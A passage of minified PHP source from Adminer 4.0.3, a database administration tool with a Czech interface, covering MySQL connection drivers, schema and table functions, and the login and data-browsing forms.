fields($Q){global$g;$Ud=$g->query("$Q/_mapping");$J=array();if($Ud){foreach($Ud[$Q]['properties']as$C=>$n)$J[$C]=array("field"=>$C,"full_type"=>$n["type"],"type"=>$n["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$J;}function
foreign_keys($Q){return
array();}function
table($t){return$t;}function
idf_escape($t){return$t;}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
fk_support($R){}function
found_rows($R,$Z){return
null;}function
create_database($k){global$g;return$g->rootQuery(urlencode($k),array(),'PUT');}function
drop_databases($j){global$g;return$g->rootQuery(urlencode(implode(',',$j)),array(),'DELETE');}function
drop_tables($S){global$g;$J=true;foreach($S
as$Q)$J=$J&&$g->query(urlencode($Q),array(),'DELETE');return$J;}$w="elastic";$He=array("=","query");$Rc=array();$Wc=array();$ac=array(array("json"));}$Sb=array("server"=>"MySQL")+$Sb;if(!defined("DRIVER")){$pf=array("MySQLi","MySQL","PDO_MySQL");define("DRIVER","server");if(extension_loaded("mysqli")){class
Min_DB
extends
MySQLi{var$extension="MySQLi";function
Min_DB(){parent::init();}function
connect($N,$V,$G){mysqli_report(MYSQLI_REPORT_OFF);list($ed,$lf)=explode(":",$N,2);$J=@$this->real_connect(($N!=""?$ed:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$G!=""?$G:ini_get("mysqli.default_pw")),null,(is_numeric($lf)?$lf:ini_get("mysqli.default_port")),(!is_numeric($lf)?$lf:null));if($J){if(method_exists($this,'set_charset'))$this->set_charset("utf8");else$this->query("SET NAMES utf8");}return$J;}function
result($H,$n=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch_array();return$K[$n];}function
quote($P){return"'".$this->escape_string($P)."'";}}}elseif(extension_loaded("mysql")&&!(ini_get("sql.safe_mode")&&extension_loaded("pdo_mysql"))){class
Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($N,$V,$G){$this->_link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$G"!=""?$G:ini_get("mysql.default_password")),true,131072);if($this->_link){$this->server_info=mysql_get_server_info($this->_link);if(function_exists('mysql_set_charset'))mysql_set_charset("utf8",$this->_link);else$this->query("SET NAMES utf8");}else$this->error=mysql_error();return(bool)$this->_link;}function
quote($P){return"'".mysql_real_escape_string($P,$this->_link)."'";}function
select_db($Cb){return
mysql_select_db($Cb,$this->_link);}function
query($H,$sh=false){$I=@($sh?mysql_unbuffered_query($H,$this->_link):mysql_query($H,$this->_link));$this->error="";if(!$I){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return
false;}if($I===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$n=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
mysql_result($I->_result,0,$n);}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
Min_Result($I){$this->_result=$I;$this->num_rows=mysql_num_rows($I);}function
fetch_assoc(){return
mysql_fetch_assoc($this->_result);}function
fetch_row(){return
mysql_fetch_row($this->_result);}function
fetch_field(){$J=mysql_fetch_field($this->_result,$this->_offset++);$J->orgtable=$J->table;$J->orgname=$J->name;$J->charsetnr=($J->blob?63:0);return$J;}function
__destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_MySQL";function
connect($N,$V,$G){$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$N)),$V,$G);$this->query("SET NAMES utf8");return
true;}function
select_db($Cb){return$this->query("USE ".idf_escape($Cb));}function
query($H,$sh=false){$this->setAttribute(1000,!$sh);return
parent::query($H,$sh);}}}class
Min_Driver
extends
Min_SQL{function
insert($Q,$O){return($O?parent::insert($Q,$O):queries("INSERT INTO ".table($Q)." ()\nVALUES ()"));}function
insertUpdate($Q,$L,$sf){$f=array_keys(reset($L));$qf="INSERT INTO ".table($Q)." (".implode(", ",$f).") VALUES\n";$Hh=array();foreach($f
as$x)$Hh[$x]="$x = VALUES($x)";$Cg="\nON DUPLICATE KEY UPDATE ".implode(", ",$Hh);$Hh=array();$y=0;foreach($L
as$O){$Y="(".implode(", ",$O).")";if($Hh&&(strlen($qf)+$y+strlen($Y)+strlen($Cg)>1e6)){if(!queries($qf.implode(",\n",$Hh).$Cg))return
false;$Hh=array();$y=0;}$Hh[]=$Y;$y+=strlen($Y)+2;}return
queries($qf.implode(",\n",$Hh).$Cg);}}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
table($t){return
idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2])){$g->query("SET sql_quote_show_create = 1, autocommit = 1");return$g;}$J=$g->error;if(function_exists('iconv')&&!is_utf8($J)&&strlen($bg=iconv("windows-1250","utf-8",$J))>strlen($J))$J=$bg;return$J;}function
get_databases($Hc){global$g;$J=get_session("dbs");if($J===null){$H=($g->server_info>=5?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA":"SHOW DATABASES");$J=($Hc?slow_query($H):get_vals($H));restart_session();set_session("dbs",$J);stop_session();}return$J;}function
limit($H,$Z,$z,$D=0,$kg=" "){return" $H$Z".($z!==null?$kg."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){return
limit($H,$Z,1);}function
db_collation($k,$ib){global$g;$J=null;$xb=$g->result("SHOW CREATE DATABASE ".idf_escape($k),1);if(preg_match('~ COLLATE ([^ ]+)~',$xb,$B))$J=$B[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$xb,$B))$J=$ib[$B[1]][-1];return$J;}function
engines(){$J=array();foreach(get_rows("SHOW ENGINES")as$K){if(preg_match("~YES|DEFAULT~",$K["Support"]))$J[]=$K["Engine"];}return$J;}function
logged_user(){global$g;return$g->result("SELECT USER()");}function
tables_list(){global$g;return
get_key_vals($g->server_info>=5?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function
count_tables($j){$J=array();foreach($j
as$k)$J[$k]=count(get_vals("SHOW TABLES IN ".idf_escape($k)));return$J;}function
table_status($C="",$Ac=false){global$g;$J=array();foreach(get_rows($Ac&&$g->server_info>=5?"SELECT TABLE_NAME AS Name, Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($C!=""?"AND TABLE_NAME = ".q($C):"ORDER BY Name"):"SHOW TABLE STATUS".($C!=""?" LIKE ".q(addcslashes($C,"%_\\")):""))as$K){if($K["Engine"]=="InnoDB")$K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$K["Comment"]);if(!isset($K["Engine"]))$K["Comment"]="";if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]===null;}function
fk_support($R){return
preg_match('~InnoDB|IBMDB2I~i',$R["Engine"]);}function
fields($Q){$J=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($Q))as$K){preg_match('~^([^( ]+)(?:\\((.+)\\))?( unsigned)?( zerofill)?$~',$K["Type"],$B);$J[$K["Field"]]=array("field"=>$K["Field"],"full_type"=>$K["Type"],"type"=>$B[1],"length"=>$B[2],"unsigned"=>ltrim($B[3].$B[4]),"default"=>($K["Default"]!=""||preg_match("~char|set~",$B[1])?$K["Default"]:null),"null"=>($K["Null"]=="YES"),"auto_increment"=>($K["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$K["Extra"],$B)?$B[1]:""),"collation"=>$K["Collation"],"privileges"=>array_flip(preg_split('~, *~',$K["Privileges"])),"comment"=>$K["Comment"],"primary"=>($K["Key"]=="PRI"),);}return$J;}function
indexes($Q,$h=null){$J=array();foreach(get_rows("SHOW INDEX FROM ".table($Q),$h)as$K){$J[$K["Key_name"]]["type"]=($K["Key_name"]=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?"INDEX":"UNIQUE")));$J[$K["Key_name"]]["columns"][]=$K["Column_name"];$J[$K["Key_name"]]["lengths"][]=$K["Sub_part"];$J[$K["Key_name"]]["descs"][]=null;}return$J;}function
foreign_keys($Q){global$g,$De;static$if='`(?:[^`]|``)+`';$J=array();$yb=$g->result("SHOW CREATE TABLE ".table($Q),1);if($yb){preg_match_all("~CONSTRAINT ($if) FOREIGN KEY \\(((?:$if,? ?)+)\\) REFERENCES ($if)(?:\\.($if))? \\(((?:$if,? ?)+)\\)(?: ON DELETE ($De))?(?: ON UPDATE ($De))?~",$yb,$Wd,PREG_SET_ORDER);foreach($Wd
as$B){preg_match_all("~$if~",$B[2],$sg);preg_match_all("~$if~",$B[5],$Pg);$J[idf_unescape($B[1])]=array("db"=>idf_unescape($B[4]!=""?$B[3]:$B[4]),"table"=>idf_unescape($B[4]!=""?$B[4]:$B[3]),"source"=>array_map('idf_unescape',$sg[0]),"target"=>array_map('idf_unescape',$Pg[0]),"on_delete"=>($B[6]?$B[6]:"RESTRICT"),"on_update"=>($B[7]?$B[7]:"RESTRICT"),);}}return$J;}function
view($C){global$g;return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\\s+AS\\s+~isU','',$g->result("SHOW CREATE VIEW ".table($C),1)));}function
collations(){$J=array();foreach(get_rows("SHOW COLLATION")as$K){if($K["Default"])$J[$K["Charset"]][-1]=$K["Collation"];else$J[$K["Charset"]][]=$K["Collation"];}ksort($J);foreach($J
as$x=>$X)asort($J[$x]);return$J;}function
information_schema($k){global$g;return($g->server_info>=5&&$k=="information_schema")||($g->server_info>=5.5&&$k=="performance_schema");}function
error(){global$g;return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$g->error));}function
error_line(){global$g;if(preg_match('~ at line ([0-9]+)$~',$g->error,$Nf))return$Nf[1]-1;}function
create_database($k,$d){set_session("dbs",null);return
queries("CREATE DATABASE ".idf_escape($k).($d?" COLLATE ".q($d):""));}function
drop_databases($j){restart_session();set_session("dbs",null);return
apply_queries("DROP DATABASE",$j,'idf_escape');}function
rename_database($C,$d){if(create_database($C,$d)){$Pf=array();foreach(tables_list()as$Q=>$U)$Pf[]=table($Q)." TO ".idf_escape($C).".".table($Q);if(!$Pf||queries("RENAME TABLE ".implode(", ",$Pf))){queries("DROP DATABASE ".idf_escape(DB));return
true;}}return
false;}function
auto_increment(){$Ka=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$u){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$u["columns"],true)){$Ka="";break;}if($u["type"]=="PRIMARY")$Ka=" UNIQUE";}}return" AUTO_INCREMENT$Ka";}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){$c=array();foreach($o
as$n)$c[]=($n[1]?($Q!=""?($n[0]!=""?"CHANGE ".idf_escape($n[0]):"ADD"):" ")." ".implode($n[1]).($Q!=""?$n[2]:""):"DROP ".idf_escape($n[0]));$c=array_merge($c,$Ic);$xg="COMMENT=".q($mb).($ic?" ENGINE=".q($ic):"").($d?" COLLATE ".q($d):"").($Ja!=""?" AUTO_INCREMENT=$Ja":"").$df;if($Q=="")return
queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n) $xg");if($Q!=$C)$c[]="RENAME TO ".table($C);$c[]=$xg;return
queries("ALTER TABLE ".table($Q)."\n".implode(",\n",$c));}function
alter_indexes($Q,$c){foreach($c
as$x=>$X)$c[$x]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($Q).implode(",",$c));}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Mh){return
queries("DROP VIEW ".implode(", ",array_map('table',$Mh)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$Mh,$Pg){$Pf=array();foreach(array_merge($S,$Mh)as$Q)$Pf[]=table($Q)." TO ".idf_escape($Pg).".".table($Q);return
queries("RENAME TABLE ".implode(", ",$Pf));}function
copy_tables($S,$Mh,$Pg){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($S
as$Q){$C=($Pg==DB?table("copy_$Q"):idf_escape($Pg).".".table($Q));if(!queries("DROP TABLE IF EXISTS $C")||!queries("CREATE TABLE $C LIKE ".table($Q))||!queries("INSERT INTO $C SELECT * FROM ".table($Q)))return
false;}foreach($Mh
as$Q){$C=($Pg==DB?table("copy_$Q"):idf_escape($Pg).".".table($Q));$Lh=view($Q);if(!queries("DROP VIEW IF EXISTS $C")||!queries("CREATE VIEW $C AS $Lh[select]"))return
false;}return
true;}function
trigger($C){if($C=="")return
array();$L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($C));return
reset($L);}function
triggers($Q){$J=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\\")))as$K)$J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Type"=>array("FOR EACH ROW"),);}function
routine($C,$U){global$g,$kc,$qd,$rh;$Aa=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$qh="((".implode("|",array_merge(array_keys($rh),$Aa)).")\\b(?:\\s*\\(((?:[^'\")]*|$kc)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s]+)['\"]?)?";$if="\\s*(".($U=="FUNCTION"?"":$qd).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$qh";$xb=$g->result("SHOW CREATE $U ".idf_escape($C),2);preg_match("~\\(((?:$if\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$qh\\s+":"")."(.*)~is",$xb,$B);$o=array();preg_match_all("~$if\\s*,?~is",$B[1],$Wd,PREG_SET_ORDER);foreach($Wd
as$Ye){$C=str_replace("``","`",$Ye[2]).$Ye[3];$o[]=array("field"=>$C,"type"=>strtolower($Ye[5]),"length"=>preg_replace_callback("~$kc~s",'normalize_enum',$Ye[6]),"unsigned"=>strtolower(preg_replace('~\\s+~',' ',trim("$Ye[8] $Ye[7]"))),"null"=>1,"full_type"=>$Ye[4],"inout"=>strtoupper($Ye[1]),"collation"=>strtolower($Ye[9]),);}if($U!="FUNCTION")return
array("fields"=>$o,"definition"=>$B[11]);return
array("fields"=>$o,"returns"=>array("type"=>$B[12],"length"=>$B[13],"unsigned"=>$B[15],"collation"=>$B[16]),"definition"=>$B[17],"language"=>"SQL",);}function
routines(){return
get_rows("SELECT ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function
routine_languages(){return
array();}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ID()");}function
explain($g,$H){return$g->query("EXPLAIN ".($g->server_info>=5.1?"PARTITIONS ":"").$H);}function
found_rows($R,$Z){return($Z||$R["Engine"]!="InnoDB"?null:$R["Rows"]);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($dg){return
true;}function
create_sql($Q,$Ja){global$g;$J=$g->result("SHOW CREATE TABLE ".table($Q),1);if(!$Ja)$J=preg_replace('~ AUTO_INCREMENT=\\d+~','',$J);return$J;}function
truncate_sql($Q){return"TRUNCATE ".table($Q);}function
use_sql($Cb){return"USE ".idf_escape($Cb);}function
trigger_sql($Q,$Ag){$J="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\\")),null,"-- ")as$K)$J.="\n".($Ag=='CREATE+ALTER'?"DROP TRIGGER IF EXISTS ".idf_escape($K["Trigger"]).";;\n":"")."CREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";return$J;}function
show_variables(){return
get_key_vals("SHOW VARIABLES");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
show_status(){return
get_key_vals("SHOW STATUS");}function
convert_field($n){if(preg_match("~binary~",$n["type"]))return"HEX(".idf_escape($n["field"]).")";if($n["type"]=="bit")return"BIN(".idf_escape($n["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$n["type"]))return"AsWKT(".idf_escape($n["field"]).")";}function
unconvert_field($n,$J){if(preg_match("~binary~",$n["type"]))$J="UNHEX($J)";if($n["type"]=="bit")$J="CONV($J, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$n["type"]))$J="GeomFromText($J)";return$J;}function
support($Bc){global$g;return!preg_match("~scheme|sequence|type|view_trigger".($g->server_info<5.1?"|event|partitioning".($g->server_info<5?"|routine|trigger|view":""):"")."~",$Bc);}$w="sql";$rh=array();$_g=array();foreach(array('Čísla'=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),'Datum a čas'=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),'Řetězce'=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),'Seznamy'=>array("enum"=>65535,"set"=>64),'Binární'=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),'Geometrie'=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$x=>$X){$rh+=$X;$_g[$x]=array_keys($X);}$yh=array("unsigned","zerofill","unsigned zerofill");$He=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Rc=array("char_length","date","from_unixtime","lower","round","sec_to_time","time_to_sec","upper");$Wc=array("avg","count","count distinct","group_concat","max","min","sum");$ac=array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array("(^|[^o])int|float|double|decimal"=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",));}define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",preg_replace('~^[^?]*/([^?]*).*~','\\1',$_SERVER["REQUEST_URI"]).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.0.3";class
Adminer{var$operators;function
name(){return"<a href='http://www.adminer.org/' target='_blank' id='h1'>Adminer</a>";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
permanentLogin($xb=false){return
password_file($xb);}function
database(){return
DB;}function
databases($Hc=true){return
get_databases($Hc);}function
schemas(){return
schemas();}function
queryTimeout(){return
5;}function
headers(){return
true;}function
head(){return
true;}function
loginForm(){global$Sb;echo'<table cellspacing="0">
<tr><th>Systém<td>',html_select("auth[driver]",$Sb,DRIVER,"loginDriver(this);"),'<tr><th>Server<td><input name="auth[server]" value="',h(SERVER),'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>Uživatel<td><input name="auth[username]" id="username" value="',h($_GET["username"]),'" autocapitalize="off">
<tr><th>Heslo<td><input type="password" name="auth[password]">
<tr><th>Databáze<td><input name="auth[db]" value="',h($_GET["db"]);?>" autocapitalize="off">
</table>
<script type="text/javascript">
var username = document.getElementById('username');
focus(username);
username.form['auth[driver]'].onchange();
</script>
<?php
echo"<p><input type='submit' value='".'Přihlásit se'."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],'Trvalé přihlášení')."\n";}function
login($Sd,$G){return
true;}function
tableName($Gg){return
h($Gg["Name"]);}function
fieldName($n,$Me=0){return'<span title="'.h($n["full_type"]).'">'.h($n["field"]).'</span>';}function
selectLinks($Gg,$O=""){echo'<p class="links">';$Rd=array("select"=>'Vypsat data');if(support("table")||support("indexes"))$Rd["table"]='Zobrazit strukturu';if(support("table")){if(is_view($Gg))$Rd["view"]='Pozměnit pohled';else$Rd["create"]='Pozměnit tabulku';}if($O!==null)$Rd["edit"]='Nová položka';foreach($Rd
as$x=>$X)echo" <a href='".h(ME)."$x=".urlencode($Gg["Name"]).($x=="edit"?$O:"")."'".bold(isset($_GET[$x])).">$X</a>";echo"\n";}function
foreignKeys($Q){return
foreign_keys($Q);}function
backwardKeys($Q,$Fg){return
array();}function
backwardKeysPrint($Ma,$K){}function
selectQuery($H){global$w;return"<p><code class='jush-$w'>".h(str_replace("\n"," ",$H))."</code>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".'Upravit'."</a>":"")."</p>";}function
rowDescription($Q){return"";}function
rowDescriptions($L,$Jc){return$L;}function
selectLink($X,$n){}function
selectVal($X,$_,$n,$Te){$J=($X===null?"<i>NULL</i>":(preg_match("~char|binary~",$n["type"])&&!preg_match("~var~",$n["type"])?"<code>$X</code>":$X));if(preg_match('~blob|bytea|raw|file~',$n["type"])&&!is_utf8($X))$J=lang(array('%d bajt','%d bajty','%d bajtů'),strlen($Te));return($_?"<a href='".h($_)."'>$J</a>":$J);}function
editVal($X,$n){return$X;}function
selectColumnsPrint($M,$f){global$Rc,$Wc;print_fieldset("select",'Vypsat',$M);$r=0;$M[""]=array();foreach($M
as$x=>$X){$X=$_GET["columns"][$x];$e=select_input(" name='columns[$r][col]' onchange='".($x!==""?"selectFieldChange(this.form)":"selectAddRow(this)").";'",$f,$X["col"]);echo"<div>".($Rc||$Wc?"<select name='columns[$r][fun]' onchange='helpClose();".($x!==""?"":" this.nextSibling.nextSibling.onchange();")."'".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).">".optionlist(array(-1=>"")+array_filter(array('Funkce'=>$Rc,'Agregace'=>$Wc)),$X["fun"])."</select>"."($e)":$e)."</div>\n";$r++;}echo"</div></fieldset>\n";}function
selectSearchPrint($Z,$f,$v){print_fieldset("search",'Vyhledat',$Z);foreach($v
as$r=>$u){if($u["type"]=="FULLTEXT"){echo"(<i>".implode("</i>, <i>",array_map('h',$u["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$r]' value='".h($_GET["fulltext"][$r])."' onchange='selectFieldChange(this.form);'>",checkbox("boolean[$r]",1,isset($_GET["boolean"][$r]),"BOOL"),"<br>\n";}}$_GET["where"]=(array)$_GET["where"];reset($_GET["where"]);$Xa="this.nextSibling.onchange();";for($r=0;$r<=count($_GET["where"]);$r++){list(,$X)=each($_GET["where"]);if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"<div>".select_input(" name='where[$r][col]' onchange='$Xa'",$f,$X["col"],"(".'kdekoliv'.")"),html_select("where[$r][op]",$this->operators,$X["op"],$Xa),"<input type='search' name='where[$r][val]' value='".h($X["val"])."' onchange='".($X?"selectFieldChange(this.form)":"selectAddRow(this)").";' onkeydown='selectSearchKeydown(this, event);' onsearch='selectSearchSearch(this);'></div>\n";}}echo"</div></fieldset>\n";}function
selectOrderPrint($Me,$f,$v){print_fieldset("sort",'Seřadit',$Me);$r=0;foreach((array)$_GET["order"]as$x=>$X){if($X!=""){echo"<div>".select_input(" name='order[$r]' onchange='selectFieldChange(this.form);'",$f,$X),checkbox("desc[$r]",1,isset($_GET["desc"][$x]),'sestupně')."</div>\n";$r++;}}echo"<div>".select_input(" name='order[$r]' onchange='selectAddRow(this);'",$f),checkbox("desc[$r]",1,false,'sestupně')."</div>\n","</div></fieldset>\n";}function
selectLimitPrint($z){echo"<fieldset><legend>".'Limit'."</legend><div>";echo"<input type='number' name='limit' class='size' value='".h($z)."' onchange='selectFieldChange(this.form);'>","</div></fieldset>\n";}function
selectLengthPrint($Vg){if($Vg!==null){echo"<fieldset><legend>".'Délka textů'."</legend><div>","<input type='number' name='text_length' class='size' value='".h($Vg)."'>","</div></fieldset>\n";}}function
selectActionPrint($v){echo"<fieldset><legend>".'Akce'."</legend><div>","<input type='submit' value='".'Vypsat'."'>"," <span id='noindex' title='".'Průchod celé tabulky'."'></span>","<script type='text/javascript'>\n","var indexColumns = ";$f=array();foreach($v
as$u){if($u["type"]!="FULLTEXT")$f[reset($u["columns"])]=1;}$f[""]=1;foreach($f
as$x=>$X)json_row($x);echo";\n","selectFieldChange(document.getElementById('form'));\n","</script>\n","</div></fieldset>\n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint($ec,$f){}function
selectColumnsProcess($f,$v){global$Rc,$Wc;$M=array();$Uc=array();foreach((array)$_GET["columns"]as$x=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$Rc)||in_array($X["fun"],$Wc)))){$M[$x]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$Wc))$Uc[]=$M[$x];}}return
array($M,$Uc);}function
selectSearchProcess($o,$v){global$w;$J=array();foreach($v
as$r=>$u){if($u["type"]=="FULLTEXT"&&$_GET["fulltext"][$r]!="")$J[]="MATCH (".implode(", ",array_map('idf_escape',$u["columns"])).") AGAINST (".q($_GET["fulltext"][$r]).(isset($_GET["boolean"][$r])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$ob=" $X[op]";if(preg_match('~IN$~',$X["op"])){$jd=process_length($X["val"]);$ob.=" ".($jd!=""?$jd:"(NULL)");}elseif($X["op"]=="SQL")$ob=" $X[val]";elseif($X["op"]=="LIKE %%")$ob=" LIKE ".$this->processInput($o[$X["col"]],"%$X[val]%");elseif(!preg_match('~NULL$~',$X["op"]))$ob.=" ".$this->processInput($o[$X["col"]],$X["val"]);if($X["col"]!="")$J[]=idf_escape($X["col"]).$ob;else{$jb=array();foreach($o
as$C=>$n){$wd=preg_match('~char|text|enum|set~',$n["type"]);if((is_numeric($X["val"])||!preg_match('~(^|[^o])int|float|double|decimal|bit~',$n["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||$wd)){$C=idf_escape($C);$jb[]=($w=="sql"&&$wd&&!preg_match('~^utf8~',$n["collation"])?"CONVERT($C USING utf8)":$C);}}$J[]=($jb?"(".implode("$ob OR ",$jb)."$ob)":"0");}}}return$J;}function
selectOrderProcess($o,$v){$J=array();foreach((array)$_GET["order"]as$x=>$X){if($X!="")$J[]=(preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$x])?" DESC":"");}return$J;}function
selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function
selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function
selectEmailProcess($Z,$Jc){return
false;}function
selectQueryBuild($M,$Z,$Uc,$Me,$z,$E){return"";}function
messageQuery($H){global$w;restart_session();$bd=&get_session("queries");$s="sql-".count($bd[$_GET["db"]]);if(strlen($H)>1e6)$H=preg_replace('~[\x80-\xFF]+$~','',substr($H,0,1e6))."\n...";$bd[$_GET["db"]][]=array($H,time());return" <span class='time'>".@date("H:i:s")."</span> <a href='#$s' onclick=\"return !toggle('$s');\">".'SQL příkaz'."</a>"."<div id='$s' class='hidden'><pre><code class='jush-$w'>".shorten_utf8($H,1000).'</code></pre>'.(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($bd[$_GET["db"]])-1)).'">'.'Upravit'.'</a>':'').'</div>';}function
editFunctions($n){global$ac;$J=($n["null"]?"NULL/":"");foreach($ac
as$x=>$Rc){if(!$x||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($Rc
as$if=>$X){if(!$if||preg_match("~$if~",$n["type"]))$J.="/$X";}if($x&&!preg_match('~set|blob|bytea|raw|file~',$n["type"]))$J.="/SQL";}}if($n["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))$J='Auto Increment';return
explode("/",$J);}function
editInput($Q,$n,$Ha,$Y){if($n["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$Ha value='-1' checked><i>".'původní'."</i></label> ":"").($n["null"]?"<label><input type='radio'$Ha value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ha,$n,$Y,0);return"";}function
